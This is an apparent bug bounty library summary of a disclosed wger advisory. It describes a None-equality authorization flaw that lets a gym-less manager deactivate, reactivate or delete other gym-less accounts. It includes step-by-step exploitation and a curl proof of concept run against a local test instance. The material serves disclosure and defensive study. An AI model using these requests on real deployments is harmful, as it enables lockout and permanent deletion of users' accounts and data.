# wger: cross-tenant account deletion / deactivation / activation by gym.manage_gym + gym=None

wger's delete/deactivate/activate views compare gym_id with raw !=, so None != None passes and a gym.manage_gym user with no gym can delete or lock out any other gym-less user.

- Payout: Research
- Severity: high
- Program: wger
- Found by: HiyokoSauna37
- Disclosed: 2026-05-20
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mw8f-w6p8-xrf4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mw8f-w6p8-xrf4
- Tags: area:web domain:web impact:dos impact:integrity kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** Django web app user management views (/user/<pk>/delete, /deactivate, /activate)
**Root cause:** Gym-scope authorization uses raw integer comparison `userprofile.gym_id != request.user.userprofile.gym_id`, which evaluates None != None as False, so the guard passes when both attacker and victim have no gym. The earlier is_same_gym() helper migration missed these three call sites in wger/core/views/user.py.
**Steps:**
1. Deploy wger/server:latest; create attacker `trainer1` with `userprofile.gym=None` and permission `gym.manage_gym`; create victim `alice` with `gym=None`.
2. Log in as trainer1 and GET `/en/user/<alice_pk>/deactivate` → 302, `alice.is_active=False` (expected 403).
3. GET `/en/user/<alice_pk>/activate` → 302, `alice.is_active=True`.
4. GET `/en/user/<alice_pk>/delete` to obtain PasswordConfirmationForm CSRF token, then POST `password=TrainerPass123!&csrfmiddlewaretoken=<token>` → 500 from redirect NoReverseMatch, but `user.delete()` already committed; alice row gone.
5. Negative control: set alice.gym to a real gym → same requests return 403, confirming the None edge case.
**How found:** Read the parent advisory's recommended fix (migrate all gym-scope checks to is_same_gym()), then ran a repo-wide code search for remaining `userprofile.gym` comparisons and found three unpatched raw `gym_id !=` sites in wger/core/views/user.py.
**Exploitation:** An authenticated gym staff user holding admin-granted gym.manage_gym but not yet linked to any gym (gym=None) enumerates sequential victim pks and issues plain GETs to /deactivate or /activate, or a GET+POST to /delete with their own password confirmation, to mutate or destroy any other gym=None account. No CSRF token is required for the GET-based state changes.
**Escalation:** V1 deactivation locks victims out; V2 re-activates accounts an admin defensively deactivated; V3 permanently deletes the victim and cascades related rows (workouts, contracts, notes).
**Insight:** When a fix introduces a None-safe helper, grep the whole repo for the old comparison pattern rather than trusting the patch's file list — incomplete-fix variants hide in sibling modules, and raw integer FK comparisons are the tell.

## Proof of concept (copied exactly from the original report)

**curl GET deactivate alice (pk=3) as trainer1**

```
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview          (expected: 403 Forbidden)

# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False     (alice locked out)
```

**curl GET activate alice (pk=3)**

```
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview

docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True      (alice re-activated
```

**POST delete alice with attacker password**

```
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
    | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm   (expected: 403 Forbidden)

# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/3/delete" \
    -d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
    -H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500   (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)

# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']
```

